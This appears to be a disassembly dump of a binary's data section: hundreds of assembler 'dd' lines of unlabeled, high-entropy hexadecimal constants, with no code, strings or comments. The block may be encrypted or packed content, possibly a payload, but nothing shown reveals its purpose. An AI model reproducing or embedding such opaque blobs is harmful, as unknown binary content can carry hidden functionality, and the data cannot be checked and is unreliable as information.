		dd 82FDD108h, 2F324784h, 0F57FCA70h, 0CD3E1878h, 292D8578h
		dd 0EAC559C8h, 0E92FA0FFh, 5A05C427h, 0E32662BDh, 5C5423D4h
		dd 734BA54Fh, 0C267B761h, 50ACEF04h, 47F8BA1Dh,	0F24A58BDh
		dd 135E0D66h, 0EB07BEA6h, 0E97F9731h, 0B56F7829h, 681A3B10h
		dd 0C7961783h, 3A29EE02h, 0E984BB38h, 40E3896Bh, 7D3B6866h
		dd 4F184164h, 2066A517h, 0E5BD0CA1h, 45552770h,	85E98BB5h
		dd 0EB92DA5Ch, 2A68DDF4h, 298809A4h, 25F3B679h,	0CA64A744h
		dd 0FCABEAB6h, 0CEE90C80h, 7C777B3h, 2CC57D80h,	6F7CC259h
		dd 68167C46h, 86F31B8Eh, 0BAEB8817h, 9D482FCEh,	5E8E8725h
		dd 0D1B859A4h, 685AD6B4h, 0EF85A456h, 0BC2643C8h, 0D589095Ch
		dd 0F178080Bh, 0A1C8BA4Ah, 3D1B5FAh, 0B4E17470h, 17686116h
		dd 0F5A66F0Ch, 856DD92h, 7E9DDAF8h, 0A55E67D1h,	68CCE015h
		dd 703D5DF0h, 0A89E1717h, 8D9E7AEDh, 7A147216h,	0F30CAD9h
		dd 0FD40D3B7h, 60AA93A6h, 1B68DEBEh, 4CD84350h,	7C716314h
		dd 793401E7h, 5E913CEh,	5F370678h, 944C943Bh, 23DDAA73h
		dd 0C642B1F4h, 79DA308Bh, 8B482EF6h, 0C180A13Ah, 5D25DC42h
		dd 4BC00E1Ah, 0D124594Bh, 1B1D1622h, 0F728B982h, 1C27EDFh
		dd 68451EEFh, 0DAC62ECFh, 4F8406ACh, 40416D3Ah,	64057200h
		dd 0E9F93152h, 0FEEF2D4Eh, 0DD78A0DCh, 0C7808088h, 0DFF69B1Eh
		dd 5495E189h, 3887BCA6h
		dd 606B961Dh, 2748BDE6h, 200B655Ch, 0B1511214h,	20E1D14Eh
		dd 0FCE67A29h, 633B9060h, 99B061EEh, 3E593440h,	7570EB80h
		dd 16C375F3h, 0E92A685Ah, 3FC10C5h, 5DEF290Dh, 88B87AF4h
		dd 0C2D50C6Bh, 635FC194h, 93C1E23Ah, 5819B3E6h,	0F7C3E364h
		dd 3E0AC0C1h, 4BDBCBCCh, 7421ABC2h, 0E83FA09Dh,	0BFE97BBh
		dd 6F61AE7Ah, 66EC3E2Dh, 217D052Dh, 35E9D8BEh, 0EBC1B275h
		dd 0B5DA3FDCh, 257FDB2Ah, 4A83E37Fh, 8FC6FF0Ch,	7F1D20C0h
		dd 7CD6F732h, 0F8310454h, 0DFAC325Eh, 8951DD87h, 340268C1h
		dd 0E9A8607Ah, 53BDAEA1h, 0FE5098E2h, 5943D79h,	0AE5B5483h
		dd 7A46D977h, 0A35C402Fh, 817ED26Fh, 0DA7F234h,	0F9E1D0C4h
		dd 0F1A9B07Eh, 26FD18B5h, 2714B20Fh, 51B16F27h,	0CBCC3A3Eh
		dd 1219383Bh, 8606BA82h, 0BB421449h, 46AF877h, 89E9C229h
		dd 4FBFD52h, 0AAD5D65h,	68D894C2h, 0FBDF5C4h, 29436427h
		dd 5AB2539Fh, 29774A37h, 0F616D7A7h, 4EA42F73h,	83B992Ah
		dd 0C6E48795h, 0BF70FB30h, 1CE0174Dh, 1746ACCCh, 75F8EFD1h
		dd 4C48210h, 4BA76858h,	0A6198CEFh, 0A3F46C41h,	9E39B58h
		dd 36D53408h, 5266170Ch, 0B1796050h, 8409B08Ah,	7CD656E9h
		dd 81088010h, 9B7BF5CBh, 0B879647Eh, 687BC392h,	10557213h
		dd 55274F1Dh, 0C7A1A83Eh, 9DB204B5h, 0D2D1A74Bh, 0E53B23FCh
		dd 0BFC975CEh, 0BB0D6971h, 0F3E05F03h, 2BF50129h, 1EB9CCB0h
		dd 6D2AAA02h, 0C13C2255h, 0C7AD05ECh, 7C86836Ah, 0AC57C33Fh
		dd 8180B298h, 91561BEEh, 10A4C14Ah, 302E771Eh, 0E4391C53h
		dd 41B48A1h, 7A023541h,	0EA2898A8h, 0A7E91308h,	46CF4C1Ah
		dd 1E2E6A8Ch, 4F0B4D99h, 9F9164F9h, 0BBCF9B0h, 3DFE2BFBh
		dd 28F86E9Eh, 4203012Ch, 5C04D095h, 887E76B5h, 66BF44BAh
		dd 61CAA1C8h, 7A552FEh,	0EC2B7AEFh, 0E02CC52Ah,	0B4CB39Ch
		dd 30620F98h, 7569EDDh,	19088140h, 4A5D533Dh, 0B170FC87h
		dd 5F72CF02h, 971EEE4Fh, 52EB40D7h, 7ECCA1AAh, 0EF4CA8FCh
		dd 5EA4B44Fh, 0D0EF8929h, 0D61D3109h, 0ED0C624Eh, 659880C6h
		dd 0F5208A7Bh, 5A5F2820h, 579405CAh, 8956512Eh,	0A8F184h
		dd 176E4B68h, 0EC5B9208h, 71634C5Fh, 0E962ECF9h, 2631674Dh
		dd 1E0249ADh, 0E32ADD24h, 0DEC3F16Dh, 83BF1C82h, 6B40D353h
		dd 541DF7CFh, 84BA3FCEh, 63FA796Ch, 92048C2h, 52AC897Fh
		dd 895D1661h, 9A3F302h,	9123F3E9h, 0B2FFC881h, 935EC06Ah
		dd 6F3E285Fh, 623F05CDh, 0BA89DA3Dh, 0D12DD48Eh, 66CEEDA0h
		dd 40480E65h, 43EC065Ah, 6F865193h, 0DC6123BEh,	6E1C5B56h
		dd 97E874E0h, 0E6884B82h, 0EE23DF90h, 10FCC181h, 28C87A31h
		dd 0F21DFA3h, 76687D93h, 2D03A8B3h, 8702FDB8h, 66FDC329h
		dd 21E926ADh, 84CB2D2h,	0C71F3B40h, 803B4781h, 3ABB5307h
		dd 64F83E00h, 4542E381h, 834A50CCh, 270E14CDh, 0C606AF1Fh
		dd 0C298B74h, 9506B20Ch, 4A034248h, 3CE48356h, 0E94D609Fh
		dd 0C3C7FDC5h, 668307EAh, 0BE7402E5h, 497B6778h, 0A74CFDh
		dd 7EDE7D6Fh, 8827F825h, 6AE93B09h, 27B8E50Eh, 0F7D9B2D5h
		dd 8A905F14h, 0E7759A09h, 0F45C4Dh, 94C300Bh, 0E569D9E9h
		dd 144ADD98h, 0E0310688h, 607D34B8h, 0D0AB324Eh, 0B7350206h
		dd 3367E016h, 16AEEAB4h, 0D922AC29h, 0D3E2173h,	43953F0Dh
		dd 40BCCEAEh, 7C7A0FC1h, 32F9195Eh, 6335F207h, 0A402AF32h
		dd 935E2A74h, 6930C600h, 17E94350h, 20FEBCB3h, 2E4732D8h
		dd 4F687B09h, 62B55E06h, 9574183Dh, 0B60F2A60h,	0E281383Bh
		dd 378760Eh, 7ACFCAC0h,	42131390h, 36535FE9h, 995ED6ACh
		dd 0FFB87B9Ah, 8CE292h,	3E6D2A76h, 0E8AE681h, 0D11E6072h
		dd 0A2500FD2h, 29E93AF8h, 0BB43154Eh, 0ECF5201Ch, 0DA983580h
		dd 0EE134ADCh, 38C2E9C0h, 5066605Dh, 9702B6EAh,	96E50C5Bh
		dd 801C0806h, 552EE914h, 0D22F88CCh, 2AE84E83h,	680740BDh
		dd 53BF79A9h, 48B2E95Eh, 1385F732h, 230993Bh, 0A1634D46h
		dd 6BE92EC0h, 0C34A0500h, 0C159CF31h, 300760EFh, 48122822h
		dd 0E1690CC0h, 5689345Bh, 98588FFAh, 20F64111h,	0C860252Ch
		dd 6AFFFE6Ah, 6682DF3Eh, 0EB0E84B5h, 491ED6C5h,	2A3827E9h
		dd 0AE4F73B6h, 4AF0DC5h, 0E83B8004h, 0A29D8960h, 5FF02128h
		dd 5DA519F3h, 31087131h, 60D0C92Fh, 6880E585h, 90439FD3h
		dd 895F63D1h, 59C7215Ch, 8DF49BAh, 7202F03Ch, 0D73A06D8h
		dd 39BA2FAEh, 99FA7E43h, 0FC6FB956h, 0BA50B116h, 41E45BACh
		dd 0F75312A8h, 588EF33Ah, 1B711203h, 0B5E0F9ECh, 0F50B801Eh
		dd 46EF3056h, 7BF7F612h, 4FF86B06h, 6AB0E00Fh, 0F70177B4h
		dd 23135690h, 0CBC4F131h, 89280279h, 7058E9F8h,	0F2F24655h
		dd 520BBFB7h, 57A5A3C7h, 4FD36D93h, 5BEBB11Fh, 0C36C25Eh
		dd 667724F8h, 6F280033h, 0D1410DC6h, 65E1FCF9h,	2AAF4C1Dh
		dd 0F49004BCh, 5BAA30Fh, 0FE5E6839h, 1CD3FA67h,	94A86FBh
		dd 3F8D22EAh, 26B07Eh, 811732Dh, 680490CBh, 5BA3450Bh
		dd 4E9AE110h, 0FAEB282h, 0FEB03262h, 67CD5957h,	1C38D0F3h
		dd 7CC15011h, 35653236h, 133FB480h, 0E1C17A19h,	5BB064Ch
		dd 8E41C667h, 99A1C2AEh, 3608AAABh, 0C9984AF5h,	99EAA3DDh
		dd 1281717h, 401C16C1h,	880BB785h, 0CCEE5BFCh, 86C4801Eh
		dd 4BC47C25h, 6104506h,	0E8F0015Fh, 6BDEBE9h, 0FECA58BCh
		dd 0B266E8Bh, 0BE5D9694h, 0ED6E452Dh, 19DA04AFh, 15832096h
		dd 0C40D5BD6h, 0E920F007h, 940D865Bh, 0C17A4729h, 3EB1016Ah
		dd 63085392h, 99ABACD3h, 0D211A735h, 9B3B11Bh, 49D9FFE1h
		dd 27BFC243h, 0B9FB5916h, 0E7E6FB0Bh, 0FC792F4Ch, 596EEA80h
		dd 37E90380h, 6961B1DBh, 0DF652975h, 0A1687248h, 0BB311B5Fh
		dd 2B4857BDh, 0ED583F7Fh, 0D8A9BD78h, 0CB01CAD9h, 1E152FD4h
		dd 13061820h, 86AEF2Eh,	1044C86h, 0B8BF2DF8h, 0FD0525EDh
		dd 0BFD4F7C3h, 0D95201BCh, 0ACBA910h, 0BE8285Bh, 2CE0108h
		dd 5041AEBAh, 2EE3B461h, 0DEFE7E84h, 0F8B8163Dh, 46F40A89h
		dd 0B04C9A6Ah, 48F125AAh, 3F56055h, 11199F01h, 0BD4581ECh
		dd 62F436CCh, 0C3867AE8h, 28BCBB24h, 78F757DAh,	0B04B72A2h
		dd 0B14E13D5h, 172804BAh, 6EE614D4h, 0D2520F4Bh, 41F0F1BEh
		dd 617CD0A6h, 0C6E42AF8h, 80219659h, 69B55F9Ch,	669F5429h
		dd 80C8277h, 5A172114h,	34E67408h, 0A6F8BB66h, 80752041h
		dd 0BFF4846Eh, 2EA90AA8h, 6AB329FAh, 0DBC4D664h, 5F6DEEC2h
		dd 0B282ECD3h, 7FD3288Eh, 0E916A56Ch, 0CF5CFF5h, 0A7DF62DCh
		dd 7A73EE2h, 2D488400h,	0CA2593A2h, 0EBE07FB0h,	650231CDh
		dd 0ACE92752h, 0FC9DA7Ch, 60045C29h, 0E938C664h, 37FB5F48h
		dd 34CFE21Ch, 281209D1h, 40B0AFB4h, 0DC955AADh,	36EE0243h
		dd 3EE02D54h, 0FD125553h, 3C80D101h, 487D4912h,	160637A9h
		dd 1E68476Eh, 2508C6D0h, 17B8755Ah, 0F0B2015Ch,	931E7931h
		dd 7A81DD29h, 0E564D2BFh, 1EFE6960h, 0A94591A8h, 2CBAFE01h
		dd 5E48F0CBh, 0C1BA9605h, 81DAE915h, 0C069B4FFh, 0E07E05ECh
		dd 11E680E6h, 3276CCE6h, 96F970F9h, 0C65B2DCEh,	588F383h
		dd 595320BEh, 4B54A075h, 0C1257968h, 0D34C163Ch, 52C2CA9h
		dd 0FDCF39AEh, 0C29C046Ah, 80EFE272h, 199EE9F4h, 0B57274B5h
		dd 38DF04C5h, 8F5BF34Dh, 0CA3CE452h, 0E5E656D0h, 210F3D61h
		dd 0BDCB0C92h, 804F27A7h, 0F6814E39h, 7E2018A9h, 491C0C4Ah
		dd 0F8476425h, 1E4B3Dh
		dd 3482687Ch, 0E1970638h, 5A0009E7h, 210FE581h,	9E799E4Bh
		dd 0B218A298h, 0F28012FBh, 0CA06FBFEh, 0B704292Ch, 0C635054h
		dd 77ABCFF7h, 680718E5h, 7F0B6A92h, 290AADEEh, 8CDEE9C6h
		dd 5A881FBFh, 5E0B9AAEh, 2056664Eh, 1285CB4h, 2F2D9AC5h
		dd 855E92D5h, 0C2851F76h, 75B9A249h, 5C772ACAh,	82D5251Ah
		dd 0A433E939h, 70FE899Eh, 152ABF80h, 906D8E2Eh,	0E66E2000h
		dd 48CAE961h, 0CB9DCE4Bh, 1CDF2C6Fh, 0CB749538h, 65E91254h
		dd 8BE3AE13h, 0B3141016h, 94F94FF1h, 0C4A0A272h, 5394865h
		dd 0C717C580h, 3490B264h, 2598F49Fh, 5B2251F8h,	215A2745h
		dd 75C61A55h, 0B4B7AC22h, 2C9DB348h, 8411BE32h,	6C4DDF9Ah
		dd 0FB9AFD2Fh, 0DD685481h, 0C4F66803h, 104770Fh, 8429E2D3h
		dd 4FB150E9h, 9B2F613Ah, 68AE48A6h, 0B50A342Ch,	874D0DC0h
		dd 559FFA17h, 0BC2B0D5Fh, 8A67852Dh, 9BEE3ED4h,	1FC85B1Dh
		dd 8647B073h, 7FAA8244h, 0D517A1E7h, 25406F08h,	0F33AE0F7h
		dd 0E5DBE7A0h, 0D5C30900h, 76CBB050h, 0B5587028h, 782E9840h
		dd 0F6F14EB5h, 0CD9F5AF8h, 64CFE52Ah, 0AEB805CDh, 0C13D1904h
		dd 0FFC206E0h, 2040F2ABh, 7C9D8952h, 8D471ECEh,	2F20B38Ch
		dd 9446292Ch, 34D72F66h, 85969770h, 71C226BEh, 9185785h
		dd 0CCE0B305h, 59E80B4Eh, 3C5E0740h, 35DE6855h,	85D5800Eh
		dd 0BD903D10h, 2594AB5Dh, 0BB7DC59h, 0F166796Eh, 3D0CF30Ch
		dd 0B6A2F822h, 0F099273Eh, 233B21h, 0C1F702AAh,	0D4999B43h
		dd 845D8777h, 0DA290E98h, 0AEAFF3E5h, 3579ECE2h, 0B11227D3h
		dd 1FBF2E7Ch, 5EF78BB7h, 6E9CE81h, 3E233598h, 290BC5BCh
		dd 0AC0959CFh, 0EFD4E9F5h, 58EFE83Eh, 0D14E25B2h, 0A52D4AF5h
		dd 86583F5h, 0A227844Dh, 2A57F644h, 180E6438h, 55E7C06Bh
		dd 0E8609272h, 2CDD02BDh, 0EF313DC5h, 40A4A74h,	0B644F7CDh
		dd 0FFC60482h, 327C3CE0h, 8AF8555Eh, 916DE0ADh,	0F3887CC2h
		dd 0DE5C5F5Ah, 9A5480C5h, 6ED22471h, 1CF92816h,	410D675h
		dd 27F4358h, 560DC068h,	3296F07Bh, 736E724h, 6049761Eh
		dd 8A95C0Ah, 20134BB3h,	0C07204ABh, 36A887EEh, 0BD507002h
		dd 1CBF60C8h, 57AD81BBh, 0F3845539h, 4B06ED50h,	296104ABh
		dd 8C2CAEDFh, 0C941CCh,	167EE1B6h, 0ED004390h, 0A7BF7C44h
		dd 815CE4E9h, 8A286E5Dh, 0F554BF5Fh, 8492EFCAh,	40AFD957h
		dd 46190DECh, 0E648C134h, 0A202D6Dh, 0F2A6D35Bh, 74BE3E0Bh
		dd 61EBC266h, 18AB5A05h, 21BCCE9Dh, 0AC0F153Fh,	549FB787h
		dd 606ECC7Bh, 3294350Eh, 48252589h, 0E00B0154h,	0F5828607h
		dd 9E9E9870h, 44DAA7C7h, 57A9BF27h, 7B6CFC39h, 0F1E92430h
		dd 4DE5BDE5h, 0E8431B13h, 0C2F1295Bh, 68AD498Bh, 0CEEF84EFh
		dd 6F210943h, 56ECF51Ch, 0D95FA082h, 9B47B99h, 91F17F13h
		dd 0DE82519Ah, 2BEB8109h, 21B31A5Eh, 5EAF2FB0h,	0CBCED8C8h
		dd 3613F3C2h, 17B837E8h, 2CE07B4h, 0A1A049E9h, 0E64CBDBAh
		dd 0D2F70F12h, 4A303EACh, 5A0D7146h, 4F7BC958h,	4177F69Ch
		dd 0F4F3E9FCh, 4FBC88BBh, 8612CEA4h, 151315FDh,	0E431FAE3h
		dd 0AD2B502Ah, 2997C433h, 0C38B5C0Eh, 51315300h, 7DB03DD5h
		dd 16D7FEC8h, 9EEFC5Ah,	0DEE828D0h, 4A26BBh, 80C5B450h
		dd 0E917ADE4h, 4333A2E6h, 0B353F866h, 35489032h, 88F6D5FAh
		dd 0E6414618h, 0D377BC3Bh, 2AF92EEh, 0AD56AC0Eh, 0FDB400D9h
		dd 45535507h, 320E3352h, 3C6C642Eh, 56444107h, 98495032h
		dd 0FC544E0Dh, 0A54E34Ch, 0E985013Fh, 686EA0F0h, 16A0B112h
		dd 0DE41D202h, 346640FDh, 3715C8A1h, 24A26F42h,	0A3B6212Dh
		dd 24102312h, 81989A4h,	0FA5443Ch, 22B94284h, 0AF2D0005h
		dd 0F2E1BE10h, 9C0079CBh, 56338536h, 0E83A7Fh, 9FF1CC0Bh
		dd 795E5266h, 15F24400h, 0CEABFDBCh, 63B5000Ah,	196B5086h
		dd 7F00850Dh, 58088799h, 0F2CB2ADh, 0C9EBE255h,	0AA02AEC0h
		dd 92039553h, 0D1FDE413h, 77639270h, 2222440h, 0F057E500h
		dd 441127C8h, 7D290092h, 0D7B2F625h, 9100BF1Fh,	0E52DD13Fh
		dd 0B50B8DFh, 714E37D3h, 116B00F7h, 3E329705h, 0CD811BA0h
		dd 37F430E7h, 0F33BDCFBh, 6BF8ED1Eh, 4D2A3DC0h,	1D893584h
		dd 80519931h, 3A176952h, 41001F9Ch, 58A50EA4h, 5B23311Bh
		dd 0C389C065h, 5406A619h, 0F615C77h, 0ECC9006Bh, 0A17ED0E9h
		dd 35008736h, 0E3F4BCFCh, 0AB88DAh, 64419326h, 1CF94B74h
		dd 0AF01BA00h, 2F151BA3h, 4396A088h, 12E10548h,	4BF7C4h
		dd 31171D72h, 513BF1E8h, 0EEBB45h, 0E68682E2h, 0EA38A57h
		dd 40993D48h, 80C86020h, 9A0125B3h, 6E4D8552h, 86D82F3Fh
		dd 5F12007Ah, 595CCBCFh, 80315C1h, 51373DCEh, 65803BA4h
		dd 8131E680h, 0CD6CDD12h, 98573500h, 3B3EA587h,	0E2432D51h
		dd 9646E200h, 0FA00D729h, 0B592E4D9h, 4C9E1Dh, 153666Fh
		dd 0B80AB324h, 77397F01h, 2E0B5D60h, 0C45A20h, 7CCEF1E7h
		dd 3284379Fh, 989E260Ah, 0C68483B2h, 3E2364CBh,	13DB23E8h
		dd 5F5445ECh, 0C5FA7384h, 0E04ADF6Eh, 0FDC216F3h, 0CC360065h
		dd 0F8A417BFh, 0D101ECEBh, 4D0DF125h, 42C0146Ch, 0F3E200AFh
		dd 93C21AC6h, 0EE043E27h, 53C0FEEDh, 0D7D193h, 17ECA57Dh
		dd 0E0390740h, 0DDA94500h, 0F4C81F86h, 0C37E97h, 9C2A4E8h
		dd 754C51F2h, 39FFB81Fh, 2E5DDA40h, 7708B323h, 0F6C18B6h
		dd 5BF3CEC2h, 3B0D1309h, 8073097Eh, 0EEEAB761h,	0A77F07D1h
		dd 0F61E70D0h, 2C7D689Ah, 4A558400h, 7785318Eh,	0CEBFA923h
		dd 439048h, 0B4605D76h,	0B5232D5Ch, 0BBC10906h,	6210A8h
		dd 0AB0EC794h, 0F478A7FFh, 0AD84CC1Fh, 0D4D12C80h, 4F389F48h
		dd 0A6BC85h, 9CDAABAh, 29D6AB2h, 0D2DA8635h, 41D5E6CCh
		dd 3ADCFABFh, 1FFB000Bh, 45905DB1h, 702CC874h, 6001CEAh
		dd 0A3F01858h, 0F38B002Eh, 0A02AA5ABh, 30FA5DFAh, 0BD1BE800h
		dd 5D3B002h, 60E00BAh, 6762FE2Fh, 33E8CBC2h, 0DAE281Eh
		dd 90FCCAC1h, 25E81D38h, 427A97A7h, 0E5B48h, 0CD1F9E35h
		dd 0D9E2F0h, 8E2BAA87h,	45785F3Ch, 0FEBAF300h, 469825B2h
		dd 51680069h, 9B622FFh,	0FC00DAB7h, 0D9616DBFh,	9089EDD3h
		dd 601113Bh, 6A77C09Fh,	12A24E6Bh, 4EAE949Ah, 4DE0C237h
		dd 7E8B3786h, 0B7635800h, 949AD5Fh, 3C501DA8h, 0E9AECC1Eh
		dd 6412122Eh, 321CF002h, 884CE36Dh, 34A1715h, 7B832F8Ch
		dd 5D3B8F75h, 0B4E381A3h, 0F8D92DA9h, 0BDD320h,	0FF6D7925h
		dd 393F074Fh, 835349h, 704D8A67h, 14A3A9D8h, 0FA3B3A9Dh
		dd 6B4812h, 0B74FA7C3h,	1B0F8965h, 7E252B73h, 9A5DF940h
		dd 0C928C3h, 6AF1CEB9h,	0E38FB73Bh, 0F6BA9D00h,	0A5C75E19h
		dd 77EE00E5h, 0E7F2C5DEh, 8A302710h, 6F9A320Ah,	5C8B09B5h
		dd 0B36081F6h, 6F421EEh, 0D3025A09h, 0BEC90ECh,	573D3343h
		dd 0BDB96BB5h, 88F1A4D7h, 0C55D8580h, 4D94A67Dh, 0B53DAC22h
		dd 99061Fh, 0FE040A39h,	0DECC23B3h, 90BDEE81h, 0D1580086h
		dd 144337EAh, 3074CE3h,	0DE32D36Bh, 1587B055h, 951FD81h
		dd 80E0DCF4h, 9E004A72h, 347C2492h, 0B0FC392Eh,	0FB9ACF07h
		dd 7A5EA800h, 5B54AD45h, 0D5E985F0h, 937DD8A4h,	93BA60EEh
		dd 0AB14C801h, 66577C59h, 509B37D8h, 0E49020h, 31A683D5h
		dd 0B7013A8Ch, 0DFDEF902h, 4821B08Dh, 54506F4Bh, 4B49AFEh
		dd 341A20A8h, 4847808Bh, 1291E64Dh, 88F60038h, 0C2C890D8h
		dd 609EAADCh, 3939991h
		dd 0E2D7FECBh, 87EA6FB3h, 72F0BC0h, 49F2BF3Bh, 912E048Fh
		dd 4280D8E5h, 0EB73F2Ah, 730B4995h, 0C06B7884h,	9FAD97F0h
		dd 3F220h, 0C719A636h, 82D4E9EAh, 0B12DA524h, 0F1437680h
		dd 0FAC314h, 67496FA8h,	1EFB4D70h, 0D7CCB360h, 6CBE01h
		dd 2274478Fh, 0A2888E16h, 0BBB6DDC2h, 40B54A54h, 24C7F4C7h
		dd 401F2E98h, 88348B4Dh, 0AD5D7B05h, 0E1079524h, 0D62177DBh
		dd 8160B67Eh, 5C289202h, 25024D85h, 4D13E2FDh, 0E6A414E0h
		dd 0AB161513h, 0CC7ACD01h, 0C1202E9Ah, 0FD132066h, 877D40h
		dd 0DEF80332h, 0B72531DDh, 3C815200h, 99E87990h, 0B2890C09h
		dd 0E7AC8F27h, 3B81A00h, 8CD0FF57h, 496A489Dh, 398BB300h
		dd 0CC79D180h, 79A05E4Dh, 4FB08260h, 16B48149h,	13E8E91Fh
		dd 89AC0049h, 0B6625B7Ch, 97C65E05h, 7DD20853h,	0B98160D6h
		dd 0FA9502ADh, 650977FFh, 0A6F003E0h, 4061000h,	8750363Ch
		dd 0E964EE31h, 0FED56DD8h, 0B2FA0322h, 86FEE4EAh, 0AE121E3Bh
		dd 0D7051DBBh, 0D780DF27h, 1E0C24C1h, 1A6EE16h,	9F76BEFDh
		dd 3B58E489h, 50B1C00h,	0C45C31Fh, 139033h, 7F573444h
		dd 0B7B95E3Ch, 6A0B3D98h, 0C1DA7280h, 52604EF0h, 0BD1EEDFh
		dd 15BD9AECh, 5B5E93A0h, 0AB192C09h, 7FB4C012h,	133670h
		dd 0CC1E9B36h, 84D6E9EFh, 982FA724h, 0A0A62E03h, 1880B4BAh
		dd 16CD3CEh, 0B1F9A513h, 208829ABh, 4D2E7572h, 87906005h
		dd 3BA00E8Eh, 38E0639Dh, 34B6C101h, 0BC765C62h,	0C08A249Dh
		dd 13EA32CAh, 64014885h, 7C823592h, 229DBB96h, 0BA9AE8AAh
		dd 0FC09006Dh, 1E03E1DAh, 3E06A4BFh, 5D212F19h,	11CB02FBh
		dd 547F5CAEh, 1E981F50h, 0E1F4D100h, 2EA986D8h,	43D008Fh
		dd 0E2DBFCB4h, 1E0EB390h, 376C499Bh, 0B2974Bh, 1D23AB4Eh
		dd 8A8D6137h, 4EE9504Bh, 9E38007Dh, 1CF3CB1Dh, 0FB970030h
		dd 0E58AE1DCh, 0C20110C6h, 283261F9h, 123013BBh, 152DB0D8h
		dd 0ADB8A8AEh, 0C9FE03Ah, 9DE541FFh, 9DE9CFD5h,	88C0FD1Bh
		dd 0D7417049h, 0A2350090h, 80EDC91Bh, 0B33B8AD2h, 81A400C5h
		dd 0ECF22193h, 56E830E6h, 48F41C3Ch, 3863B4Ch, 9EA46C74h
		dd 0CC1D3BB8h, 0D5307584h, 1EEBC101h, 32189D57h, 432072C0h
		dd 0F7C2893h, 0FADE812Eh, 4BDCA9A7h, 838E8420h,	200E6853h
		dd 0A1A58949h, 74A3D503h, 24F8220h, 8057246Ch, 1BC0913Dh
		dd 440793A0h, 0F75BCD79h, 6AC3A125h, 0F5250034h, 0A6335D1Eh
		dd 0FE00A0E2h, 6A1765CFh, 2CA7E3C7h, 9A4A8Dh, 1847745Eh
		dd 630C3008h, 109F4B6Eh, 0F3CA3E0Dh, 6C9E3A86h,	0EE075D67h
		dd 0A52EA42h, 28563C41h, 0F4E3DE80h, 0FFC51DC9h, 30F7181Ch
		dd 0D8424840h, 26A71140h, 716379Ah, 51F208C9h, 0E82F5F16h
		dd 713F1DB5h, 961B8F5Bh, 0E236001h, 675A4046h, 706E5A9Ah
		dd 0F2CB0C17h, 0F1C8A001h, 96C92B18h, 43432E1h,	402AD2B5h
		dd 9526B004h, 6B00A3E9h, 44EE191Ch, 4CE0A2h, 1D06728Ah
		dd 114D73E3h, 14C425h, 0E0BD0F1Bh, 19C530F6h, 6CD0466Bh
		dd 0C0162E00h, 40DCB3FBh, 4213FB7h, 365F0D0h, 98AE4E88h
		dd 63CB4930h, 9D20B7E8h, 199F10Fh, 33DB6055h, 396E5EBh
		dd 6C166F6Dh, 0A8A0F244h, 0AA00B0F8h, 1C84EC3Eh, 797A264Eh
		dd 0BEA43D72h, 0D23BA63Dh, 66707B80h, 3F450D55h, 1AED5933h
		dd 616B86Dh, 5B57072Eh,	0D0C21AAFh, 620EAD29h, 25023290h
		dd 75F0BB2h, 7650D8h, 3036FE06h, 1CA72C4Ah, 0C3FE5E77h
		dd 4F47DE0Eh, 0FE9C001Eh, 2B9046h, 0A33401D9h, 0C9166E1Ah
		dd 4B00F00h, 64727DACh,	9EAB2957h, 0F95D31E6h, 0FD2E60DCh
		dd 78791901h, 0EB0141E3h, 35820C4h, 92486C52h, 0D2B8801Eh
		dd 0EDC47ECh, 0F8000E24h, 6713A62Bh, 0D0E0000Fh, 5B28E3F3h
		dd 0BB30417Ch, 0C1E92DD5h, 6F7D1229h, 0C661C014h, 2B144017h
		dd 58BBCA1h, 0E46A5056h, 0B97E8783h, 0EFE88FBEh, 0F5CA0012h
		dd 219A3C49h, 70006875h, 3B96A34Fh, 48C5D27Eh, 0F22E0212h
		dd 1F2C051Eh, 4A7F80B6h, 87073388h, 0B864597Ah,	0F5746862h
		dd 0C278478h, 0BD457D24h, 276ED0CBh, 2F7E47CBh,	893B25C7h
		dd 7428F028h, 6B9A3B22h, 13AAE903h, 0E8E4972h, 61824C03h
		dd 3CE89B6h, 0D76C62Ch,	0C045BCFh, 34BA2095h, 5A9A7CEFh
		dd 428F560Bh, 77A94C08h, 1775958Bh, 0D55F8B4Fh,	0EF172E81h
		dd 3B8C4137h, 34720A8h,	0E007FD90h, 4A2DBD8h, 4B07407Eh
		dd 18890E66h, 4F10E85Ch, 8F0013BAh, 0AA7FE1B6h,	7C25946h
		dd 3DD62F36h, 0BB66D0BFh, 5A0A8A40h, 0B1EDF380h, 0C6AA208h
		dd 2470CE8h, 0A1622F03h, 0A887048Ah, 1F4E89C9h,	0B0800F23h
		dd 585B5025h, 10ABF48h,	0EF811C74h, 0C803776h, 8B06CF80h
		dd 0F5C600Ah, 0E935630Ch, 980B0011h, 0A66BA53Bh, 0F5071053h
		dd 8E779A70h, 808F0DC0h, 0D061500Ah, 0A4D104B1h, 0FBF08B57h
		dd 87351BC0h, 0C40BFA3Ch, 847A444Bh, 0CCA300B3h, 0E0C08DFh
		dd 88EC3CC0h, 56667F4h,	897441B8h, 381C400Ah, 0D33A316Fh
		dd 57E07502h, 0D75B1563h, 0BE664C01h, 6075FA03h, 4B850FE2h
		dd 0F62DA496h, 0AD5BD400h, 12B2ED58h, 85040083h, 285D4095h
		dd 34F08926h, 688963Eh,	7C6C1225h, 6E833C08h, 0F8C1921Fh
		dd 218B9799h, 0FB6BD0EDh, 311B860h, 0D0215842h,	353C1CC8h
		dd 11286C98h, 460D6384h, 812D8992h, 0AEC33E44h,	0A5110138h
		dd 0AA13B850h, 7C25001Ah, 0E4A10C3h, 32499915h,	0A5233702h
		dd 504ADF90h, 2DC80640h, 109844FBh, 19BA8900h, 9B750A97h
		dd 7911B887h, 11E0CF62h, 27C5A5h, 0D8E86584h, 3F615D08h
		dd 170D5110h, 0F9BA8180h, 0E62C939h, 1649481Dh,	56AE013Eh
		dd 117D08A7h, 0C12E35FCh, 25AA9138h, 0F04D61BEh, 0D3F08D54h
		dd 0FD108560h, 18160A1h, 6E57DF40h, 0E304C855h,	78E0B1ABh
		dd 5A7CDA5Bh, 14835628h, 79523Eh, 9D2549C6h, 0E98B5A43h
		dd 50A862ECh, 0A39CFCFh, 2E798318h, 3FE508ECh, 0D32B9980h
		dd 10D2B057h, 6229133Bh, 9D5B90h, 0DC3E209Fh, 3892800h
		dd 87DB6DF9h, 21F361E2h, 611BF712h, 11200F71h, 0AC90D92Dh
		dd 76B6809h, 20240027h,	998DE1D5h, 8587360Ch, 0C0180869h
		dd 0D57B4A21h, 0BA1A8DF0h, 1588CFFh, 160D56F8h,	0DD32C050h
		dd 9B7F03C7h, 932928D7h, 2C6308BEh, 0C8D55421h,	0E6C1EC0Dh
		dd 2B0B0310h, 0DFD0FC85h, 9C8042DAh, 0A89BC28Dh, 83F460D1h
